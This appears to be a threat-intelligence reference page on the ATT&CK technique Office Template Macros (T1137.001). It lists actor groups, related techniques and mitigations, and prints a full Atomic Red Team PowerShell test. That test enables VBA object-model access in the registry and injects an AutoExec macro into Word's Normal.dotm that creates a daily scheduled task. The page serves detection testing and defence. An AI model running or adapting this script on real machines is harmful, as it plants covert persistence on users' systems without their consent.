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ATT&CK Technique

Office Template Macros

T1137.001 · persistence

Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.

Office Visual Basic for Applications (VBA) macros can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro.

Excel does not have a template file created by default, but one can be added that will automatically be loaded. Shared templates may also be stored and pulled from remote locations. Word Normal.dotm location:<br> C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Templates\Normal.dotm Excel Personal.xlsb location:<br> C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g.

Word 2016 will first look for Normal.dotm under C:\Program Files (x86)\Microsoft Office\root\Office16\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

Office SuiteWindows
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Actors Using This

4
north_koreaAPT37
russiaCloud Atlas
north_koreaKimsuky
indiaPatchwork
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Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
resource-development earlier
T1585.002 · Email Accounts ×2.79
initial-access earlier
T1189 · Drive-by Compromise ×2.38
persistence same
T1137 · Office Application Startup ×34.00T1547.009 · Shortcut Modification ×6.10
discovery later
T1497.001 · System Checks ×3.80
collection later
T1560.001 · Archive via Utility ×2.83T1115 · Clipboard Data ×2.70
command-and-control later
T1105 · Ingress Tool Transfer ×2.87T1102.002 · Bidirectional Communication ×2.79T1132 · Data Encoding ×2.56
other same
T1480.001 · Environmental Keying ×16.23T1480 · Execution Guardrails ×8.50T1027.010 · Command Obfuscation ×5.95T1564.001 · Hidden Files and Directories ×3.50T1564 · Hide Artifacts ×2.98
▸

Atomic Tests

1
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellelevatedwindowsInjecting a Macro into the Word Normal.dotm Template for Persistence via PowerShell
Injects a Macro in the Word default template "Normal.dotm" and makes it execute each time that Word is opened. In this test, the Macro creates a sheduled task to open Calc.exe every evening. 
# Registry setting to "Trust access to the VBA project object model" in Word
$registryKey = "HKCU:Software\Microsoft\Office\16.0\Word\Security"
$registryValue = "AccessVBOM"
$registryData = "1"
# The path where a flag text file will be created if Registry setting did not already exist or if it was set to 0
$flagPath1 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag1.txt"
$flagPath2 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag2.txt"
# Get the value of the Key/Value pair
$value = (Get-ItemProperty -Path $registryKey -Name $registryValue -ErrorAction SilentlyContinue).$registryValue
# Logical operation to: if the value of the key/value is 1, do nothing - 
# if the value is 0, change it to 1 and create flag1 - 
# if it doesn't exist, create the value and flag2
if ($value -eq "1") 
{
  Write-Host "The registry value '$registryValue' already exists with the required setting."
}   
  elseif ($value -eq "0") 
{
  Write-Host "The registry value was set to 0, temporarily changing to 1."
  New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null
  echo "flag1" > $flagPath1
} 
  else 
{
  Write-Host "The registry value '$registryValue' does not exist, temporarily creating it."
  New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null
  echo "flag2" > $flagPath2
}
Add-Type -AssemblyName Microsoft.Office.Interop.Word
# Define the path of copied normal template for restoral
$copyPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal1.dotm"
# Define the path to the normal template
$docPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal.dotm"
# Create copy of orginal template for restoral
Copy-Item -Path $docPath -Destination $copyPath -Force
# VBA code to be insterted as a Macro
# Will create a scheduled task to open the Calculator at 8:04pm daily
$vbaCode = @"
  Sub AutoExec()
  Dim applicationPath As String
  Dim taskName As String
  Dim runTime As String
  Dim schTasksCmd As String
  applicationPath = "C:\Windows\System32\calc.exe"
  taskName = "OpenCalcTask"
  runTime = "20:04"
  schTasksCmd = "schtasks /create /tn """ & taskName & """ /tr """ & applicationPath & """ /sc daily /st " & runTime & " /f"
  Shell "cmd.exe /c " & schTasksCmd, vbNormalFocus
  End Sub
"@
# Create a new instance of Word.Application
$word = New-Object -ComObject Word.Application
# Keep the Word application hidden
$word.Visible = $false
# Open the document
$document = $word.Documents.Open($docPath)
# Access the VBA project of the document
$vbaProject = $document.VBProject
# Add a new module to the VBA project
$newModule = $vbaProject.VBComponents.Add(1) # 1 = vbext_ct_StdModule
# Add the VBA code to the new module
$newModule.CodeModule.AddFromString($vbaCode)
# Run the Macro
$word.run("AutoExec")
# Save and close the document
$document.SaveAs($docPath)
$document.Close()
# Quit Word
$word.Quit()
# Release COM objects
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($document) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($word) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($vbaProject) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($newModule) | Out-Null
▣

Mitigations

2
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1040Behavior Prevention on Endpoint

Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack.

Suspicious Process Behavior
  • Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.
  • Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.
Unauthorized File Access
  • Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.
  • Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.
Abnormal API Calls
  • Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.
  • Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like OpenProcess and WriteProcessMemory and terminates the offending process.
Exploit Prevention
  • Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.
  • Use Case: A buffer overflow exploit is launched against a vulnerable application. The endpoint detects the anomalous memory write operation and halts the process.
M1042Disable or Remove Feature or Program

Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled.

Remove Legacy Software
  • Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).
  • Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.
Disable Unused Features
  • Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.
  • Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.
Control Applications Installed by Users
  • Use Case: Prevent users from installing unauthorized software via group policies or other management tools.
  • Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.
Remove Unnecessary Services
  • Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.
  • Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.
Restrict Add-ons and Plugins
  • Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.
  • Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.
◈

Detection Coverage

0/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) none
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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Comply & Defend

NIST 800-53AC-06, CM-02, CM-06, CM-08, RA-05, SC-18, SC-44, SI-03, SI-04, SI-08
D3FEND12 defensive techniques
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